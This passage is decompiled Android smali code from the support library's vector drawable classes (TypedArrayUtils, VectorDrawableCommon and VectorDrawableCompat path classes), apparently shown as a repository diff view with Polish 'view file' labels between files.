.param p0, "a" # Landroid/content/res/TypedArray;
.param p1, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.param p2, "attrName" # Ljava/lang/String;
.param p3, "resId" # I
.param p4, "defaultValue" # F
.prologue
.line 29
invoke-static {p1, p2}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v0
.line 30
.local v0, "hasAttr":Z
if-nez v0, :cond_0
.line 33
.end local p4 # "defaultValue":F
:goto_0
return p4
.restart local p4 # "defaultValue":F
:cond_0
invoke-virtual {p0, p3, p4}, Landroid/content/res/TypedArray;->getFloat(IF)F
move-result p4
goto :goto_0
.end method
.method public static getNamedInt(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;II)I
.locals 1
.param p0, "a" # Landroid/content/res/TypedArray;
.param p1, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.param p2, "attrName" # Ljava/lang/String;
.param p3, "resId" # I
.param p4, "defaultValue" # I
.prologue
.line 49
invoke-static {p1, p2}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v0
.line 50
.local v0, "hasAttr":Z
if-nez v0, :cond_0
.line 53
.end local p4 # "defaultValue":I
:goto_0
return p4
.restart local p4 # "defaultValue":I
:cond_0
invoke-virtual {p0, p3, p4}, Landroid/content/res/TypedArray;->getInt(II)I
move-result p4
goto :goto_0
.end method
.method public static hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
.locals 1
.param p0, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.param p1, "attrName" # Ljava/lang/String;
.prologue
.line 24
const-string v0, "http://schemas.android.com/apk/res/android"
invoke-interface {p0, v0, p1}, Lorg/xmlpull/v1/XmlPullParser;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
if-eqz v0, :cond_0
const/4 v0, 0x1
:goto_0
return v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method

Wyświetl plik

@ -0,0 +1,520 @@
.class abstract Landroid/support/graphics/drawable/VectorDrawableCommon;
.super Landroid/graphics/drawable/Drawable;
.source "VectorDrawableCommon.java"
# interfaces
.implements Landroid/support/v4/graphics/drawable/TintAwareDrawable;
# annotations
.annotation build Landroid/annotation/TargetApi;
value = 0x15
.end annotation
# instance fields
.field mDelegateDrawable:Landroid/graphics/drawable/Drawable;
# direct methods
.method constructor <init>()V
.locals 0
.prologue
.line 34
invoke-direct {p0}, Landroid/graphics/drawable/Drawable;-><init>()V
return-void
.end method
.method static obtainAttributes(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
.locals 1
.param p0, "res" # Landroid/content/res/Resources;
.param p1, "theme" # Landroid/content/res/Resources$Theme;
.param p2, "set" # Landroid/util/AttributeSet;
.param p3, "attrs" # [I
.prologue
const/4 v0, 0x0
.line 41
if-nez p1, :cond_0
.line 42
invoke-virtual {p0, p2, p3}, Landroid/content/res/Resources;->obtainAttributes(Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
move-result-object v0
.line 44
:goto_0
return-object v0
:cond_0
invoke-virtual {p1, p2, p3, v0, v0}, Landroid/content/res/Resources$Theme;->obtainStyledAttributes(Landroid/util/AttributeSet;[III)Landroid/content/res/TypedArray;
move-result-object v0
goto :goto_0
.end method
# virtual methods
.method public applyTheme(Landroid/content/res/Resources$Theme;)V
.locals 1
.param p1, "t" # Landroid/content/res/Resources$Theme;
.prologue
.line 120
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 121
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-static {v0, p1}, Landroid/support/v4/graphics/drawable/DrawableCompat;->applyTheme(Landroid/graphics/drawable/Drawable;Landroid/content/res/Resources$Theme;)V
.line 124
:cond_0
return-void
.end method
.method public clearColorFilter()V
.locals 1
.prologue
.line 128
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 129
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->clearColorFilter()V
.line 133
:goto_0
return-void
.line 132
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->clearColorFilter()V
goto :goto_0
.end method
.method public getColorFilter()Landroid/graphics/ColorFilter;
.locals 1
.prologue
.line 61
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 62
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-static {v0}, Landroid/support/v4/graphics/drawable/DrawableCompat;->getColorFilter(Landroid/graphics/drawable/Drawable;)Landroid/graphics/ColorFilter;
move-result-object v0
.line 64
:goto_0
return-object v0
:cond_0
const/4 v0, 0x0
goto :goto_0
.end method
.method public getCurrent()Landroid/graphics/drawable/Drawable;
.locals 1
.prologue
.line 137
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 138
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getCurrent()Landroid/graphics/drawable/Drawable;
move-result-object v0
.line 140
:goto_0
return-object v0
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->getCurrent()Landroid/graphics/drawable/Drawable;
move-result-object v0
goto :goto_0
.end method
.method public getMinimumHeight()I
.locals 1
.prologue
.line 153
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 154
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getMinimumHeight()I
move-result v0
.line 156
:goto_0
return v0
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->getMinimumHeight()I
move-result v0
goto :goto_0
.end method
.method public getMinimumWidth()I
.locals 1
.prologue
.line 145
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 146
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getMinimumWidth()I
move-result v0
.line 148
:goto_0
return v0
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->getMinimumWidth()I
move-result v0
goto :goto_0
.end method
.method public getPadding(Landroid/graphics/Rect;)Z
.locals 1
.param p1, "padding" # Landroid/graphics/Rect;
.prologue
.line 161
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 162
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->getPadding(Landroid/graphics/Rect;)Z
move-result v0
.line 164
:goto_0
return v0
:cond_0
invoke-super {p0, p1}, Landroid/graphics/drawable/Drawable;->getPadding(Landroid/graphics/Rect;)Z
move-result v0
goto :goto_0
.end method
.method public getState()[I
.locals 1
.prologue
.line 169
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 170
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getState()[I
move-result-object v0
.line 172
:goto_0
return-object v0
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->getState()[I
move-result-object v0
goto :goto_0
.end method
.method public getTransparentRegion()Landroid/graphics/Region;
.locals 1
.prologue
.line 178
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 179
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getTransparentRegion()Landroid/graphics/Region;
move-result-object v0
.line 181
:goto_0
return-object v0
:cond_0
invoke-super {p0}, Landroid/graphics/drawable/Drawable;->getTransparentRegion()Landroid/graphics/Region;
move-result-object v0
goto :goto_0
.end method
.method public jumpToCurrentState()V
.locals 1
.prologue
.line 111
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 112
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-static {v0}, Landroid/support/v4/graphics/drawable/DrawableCompat;->jumpToCurrentState(Landroid/graphics/drawable/Drawable;)V
.line 115
:cond_0
return-void
.end method
.method protected onBoundsChange(Landroid/graphics/Rect;)V
.locals 1
.param p1, "bounds" # Landroid/graphics/Rect;
.prologue
.line 77
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 78
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->setBounds(Landroid/graphics/Rect;)V
.line 82
:goto_0
return-void
.line 81
:cond_0
invoke-super {p0, p1}, Landroid/graphics/drawable/Drawable;->onBoundsChange(Landroid/graphics/Rect;)V
goto :goto_0
.end method
.method protected onLevelChange(I)Z
.locals 1
.param p1, "level" # I
.prologue
.line 69
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 70
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->setLevel(I)Z
move-result v0
.line 72
:goto_0
return v0
:cond_0
invoke-super {p0, p1}, Landroid/graphics/drawable/Drawable;->onLevelChange(I)Z
move-result v0
goto :goto_0
.end method
.method public setChangingConfigurations(I)V
.locals 1
.param p1, "configs" # I
.prologue
.line 186
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 187
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->setChangingConfigurations(I)V
.line 191
:goto_0
return-void
.line 190
:cond_0
invoke-super {p0, p1}, Landroid/graphics/drawable/Drawable;->setChangingConfigurations(I)V
goto :goto_0
.end method
.method public setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
.locals 1
.param p1, "color" # I
.param p2, "mode" # Landroid/graphics/PorterDuff$Mode;
.prologue
.line 52
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 53
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1, p2}, Landroid/graphics/drawable/Drawable;->setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
.line 57
:goto_0
return-void
.line 56
:cond_0
invoke-super {p0, p1, p2}, Landroid/graphics/drawable/Drawable;->setColorFilter(ILandroid/graphics/PorterDuff$Mode;)V
goto :goto_0
.end method
.method public setFilterBitmap(Z)V
.locals 1
.param p1, "filter" # Z
.prologue
.line 103
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 104
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->setFilterBitmap(Z)V
.line 107
:cond_0
return-void
.end method
.method public setHotspot(FF)V
.locals 1
.param p1, "x" # F
.param p2, "y" # F
.prologue
.line 87
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 88
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-static {v0, p1, p2}, Landroid/support/v4/graphics/drawable/DrawableCompat;->setHotspot(Landroid/graphics/drawable/Drawable;FF)V
.line 90
:cond_0
return-void
.end method
.method public setHotspotBounds(IIII)V
.locals 1
.param p1, "left" # I
.param p2, "top" # I
.param p3, "right" # I
.param p4, "bottom" # I
.prologue
.line 95
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 96
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-static {v0, p1, p2, p3, p4}, Landroid/support/v4/graphics/drawable/DrawableCompat;->setHotspotBounds(Landroid/graphics/drawable/Drawable;IIII)V
.line 99
:cond_0
return-void
.end method
.method public setState([I)Z
.locals 1
.param p1, "stateSet" # [I
.prologue
.line 195
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
if-eqz v0, :cond_0
.line 196
iget-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCommon;->mDelegateDrawable:Landroid/graphics/drawable/Drawable;
invoke-virtual {v0, p1}, Landroid/graphics/drawable/Drawable;->setState([I)Z
move-result v0
.line 198
:goto_0
return v0
:cond_0
invoke-super {p0, p1}, Landroid/graphics/drawable/Drawable;->setState([I)Z
move-result v0
goto :goto_0
.end method

Wyświetl plik

@ -0,0 +1,137 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;
.super Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VClipPath"
.end annotation
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 1618
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;-><init>()V
.line 1620
return-void
.end method
.method public constructor <init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;)V
.locals 0
.param p1, "copy" # Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;
.prologue
.line 1623
invoke-direct {p0, p1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;)V
.line 1624
return-void
.end method
.method private updateStateFromTypedArray(Landroid/content/res/TypedArray;)V
.locals 3
.param p1, "a" # Landroid/content/res/TypedArray;
.prologue
.line 1642
const/4 v2, 0x0
.line 1643
invoke-virtual {p1, v2}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
move-result-object v1
.line 1644
.local v1, "pathName":Ljava/lang/String;
if-eqz v1, :cond_0
.line 1645
iput-object v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;->mPathName:Ljava/lang/String;
.line 1648
:cond_0
const/4 v2, 0x1
.line 1649
invoke-virtual {p1, v2}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
move-result-object v0
.line 1650
.local v0, "pathData":Ljava/lang/String;
if-eqz v0, :cond_1
.line 1651
invoke-static {v0}, Landroid/support/graphics/drawable/PathParser;->createNodesFromPathData(Ljava/lang/String;)[Landroid/support/graphics/drawable/PathParser$PathDataNode;
move-result-object v2
iput-object v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;->mNodes:[Landroid/support/graphics/drawable/PathParser$PathDataNode;
.line 1653
:cond_1
return-void
.end method
# virtual methods
.method public inflate(Landroid/content/res/Resources;Landroid/util/AttributeSet;Landroid/content/res/Resources$Theme;Lorg/xmlpull/v1/XmlPullParser;)V
.locals 3
.param p1, "r" # Landroid/content/res/Resources;
.param p2, "attrs" # Landroid/util/AttributeSet;
.param p3, "theme" # Landroid/content/res/Resources$Theme;
.param p4, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.prologue
.line 1628
const-string v2, "pathData"
invoke-static {p4, v2}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v1
.line 1629
.local v1, "hasPathData":Z
if-nez v1, :cond_0
.line 1636
:goto_0
return-void
.line 1632
:cond_0
sget-object v2, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawableClipPath:[I
invoke-static {p1, p3, p2, v2}, Landroid/support/graphics/drawable/VectorDrawableCommon;->obtainAttributes(Landroid/content/res/Resources;Landroid/content/res/Resources$Theme;Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
move-result-object v0
.line 1634
.local v0, "a":Landroid/content/res/TypedArray;
invoke-direct {p0, v0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VClipPath;->updateStateFromTypedArray(Landroid/content/res/TypedArray;)V
.line 1635
invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
goto :goto_0
.end method
.method public isClipPath()Z
.locals 1
.prologue
.line 1657
const/4 v0, 0x1
return v0
.end method

Wyświetl plik

@ -0,0 +1,771 @@
.class Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;
.super Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;
.source "VectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/VectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "VFullPath"
.end annotation
# instance fields
.field mFillAlpha:F
.field mFillColor:I
.field mFillRule:I
.field mStrokeAlpha:F
.field mStrokeColor:I
.field mStrokeLineCap:Landroid/graphics/Paint$Cap;
.field mStrokeLineJoin:Landroid/graphics/Paint$Join;
.field mStrokeMiterlimit:F
.field mStrokeWidth:F
.field private mThemeAttrs:[I
.field mTrimPathEnd:F
.field mTrimPathOffset:F
.field mTrimPathStart:F
# direct methods
.method public constructor <init>()V
.locals 3
.prologue
const/4 v2, 0x0
const/high16 v1, 0x3f800000 # 1.0f
const/4 v0, 0x0
.line 1684
invoke-direct {p0}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;-><init>()V
.line 1669
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
.line 1670
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
.line 1672
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
.line 1673
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
.line 1675
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
.line 1676
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
.line 1677
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
.line 1678
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
.line 1680
sget-object v0, Landroid/graphics/Paint$Cap;->BUTT:Landroid/graphics/Paint$Cap;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
.line 1681
sget-object v0, Landroid/graphics/Paint$Join;->MITER:Landroid/graphics/Paint$Join;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
.line 1682
const/high16 v0, 0x40800000 # 4.0f
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
.line 1686
return-void
.end method
.method public constructor <init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;)V
.locals 3
.param p1, "copy" # Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;
.prologue
const/4 v2, 0x0
const/high16 v1, 0x3f800000 # 1.0f
const/4 v0, 0x0
.line 1689
invoke-direct {p0, p1}, Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;-><init>(Landroid/support/graphics/drawable/VectorDrawableCompat$VPath;)V
.line 1669
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
.line 1670
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
.line 1672
iput v2, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
.line 1673
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
.line 1675
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
.line 1676
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
.line 1677
iput v1, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
.line 1678
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
.line 1680
sget-object v0, Landroid/graphics/Paint$Cap;->BUTT:Landroid/graphics/Paint$Cap;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
.line 1681
sget-object v0, Landroid/graphics/Paint$Join;->MITER:Landroid/graphics/Paint$Join;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
.line 1682
const/high16 v0, 0x40800000 # 4.0f
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
.line 1690
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mThemeAttrs:[I
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mThemeAttrs:[I
.line 1692
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeColor:I
.line 1693
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeWidth:F
.line 1694
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeAlpha:F
.line 1695
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillColor:I
.line 1696
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillRule:I
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillRule:I
.line 1697
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mFillAlpha:F
.line 1698
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathStart:F
.line 1699
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathEnd:F
.line 1700
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mTrimPathOffset:F
.line 1702
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineCap:Landroid/graphics/Paint$Cap;
.line 1703
iget-object v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
iput-object v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeLineJoin:Landroid/graphics/Paint$Join;
.line 1704
iget v0, p1, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
iput v0, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mStrokeMiterlimit:F
.line 1705
return-void
.end method
.method private getStrokeLineCap(ILandroid/graphics/Paint$Cap;)Landroid/graphics/Paint$Cap;
.locals 0
.param p1, "id" # I
.param p2, "defValue" # Landroid/graphics/Paint$Cap;
.prologue
.line 1708
packed-switch p1, :pswitch_data_0
.line 1716
.end local p2 # "defValue":Landroid/graphics/Paint$Cap;
:goto_0
return-object p2
.line 1710
.restart local p2 # "defValue":Landroid/graphics/Paint$Cap;
:pswitch_0
sget-object p2, Landroid/graphics/Paint$Cap;->BUTT:Landroid/graphics/Paint$Cap;
goto :goto_0
.line 1712
:pswitch_1
sget-object p2, Landroid/graphics/Paint$Cap;->ROUND:Landroid/graphics/Paint$Cap;
goto :goto_0
.line 1714
:pswitch_2
sget-object p2, Landroid/graphics/Paint$Cap;->SQUARE:Landroid/graphics/Paint$Cap;
goto :goto_0
.line 1708
nop
:pswitch_data_0
.packed-switch 0x0
:pswitch_0
:pswitch_1
:pswitch_2
.end packed-switch
.end method
.method private getStrokeLineJoin(ILandroid/graphics/Paint$Join;)Landroid/graphics/Paint$Join;
.locals 0
.param p1, "id" # I
.param p2, "defValue" # Landroid/graphics/Paint$Join;
.prologue
.line 1721
packed-switch p1, :pswitch_data_0
.line 1729
.end local p2 # "defValue":Landroid/graphics/Paint$Join;
:goto_0
return-object p2
.line 1723
.restart local p2 # "defValue":Landroid/graphics/Paint$Join;
:pswitch_0
sget-object p2, Landroid/graphics/Paint$Join;->MITER:Landroid/graphics/Paint$Join;
goto :goto_0
.line 1725
:pswitch_1
sget-object p2, Landroid/graphics/Paint$Join;->ROUND:Landroid/graphics/Paint$Join;
goto :goto_0
.line 1727
:pswitch_2
sget-object p2, Landroid/graphics/Paint$Join;->BEVEL:Landroid/graphics/Paint$Join;
goto :goto_0
.line 1721
nop
:pswitch_data_0
.packed-switch 0x0
:pswitch_0
:pswitch_1
:pswitch_2
.end packed-switch
.end method
.method private updateStateFromTypedArray(Landroid/content/res/TypedArray;Lorg/xmlpull/v1/XmlPullParser;)V
.locals 9
.param p1, "a" # Landroid/content/res/TypedArray;
.param p2, "parser" # Lorg/xmlpull/v1/XmlPullParser;
.prologue
const/4 v8, -0x1
.line 1750
const/4 v5, 0x0
iput-object v5, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mThemeAttrs:[I
.line 1757
const-string v5, "pathData"
invoke-static {p2, v5}, Landroid/support/graphics/drawable/TypedArrayUtils;->hasAttribute(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)Z
move-result v0
.line 1758
.local v0, "hasPathData":Z
if-nez v0, :cond_0
.line 1799
:goto_0
return-void
.line 1764
:cond_0
const/4 v5, 0x0
invoke-virtual {p1, v5}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
move-result-object v4
.line 1765
.local v4, "pathName":Ljava/lang/String;
if-eqz v4, :cond_1
.line 1766
iput-object v4, p0, Landroid/support/graphics/drawable/VectorDrawableCompat$VFullPath;->mPathName:Ljava/lang/String;
.line 1768
:cond_1
const/4 v5, 0x2
.line 1769
invoke-virtual {p1, v5}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
move-result-object v3
.line 1770
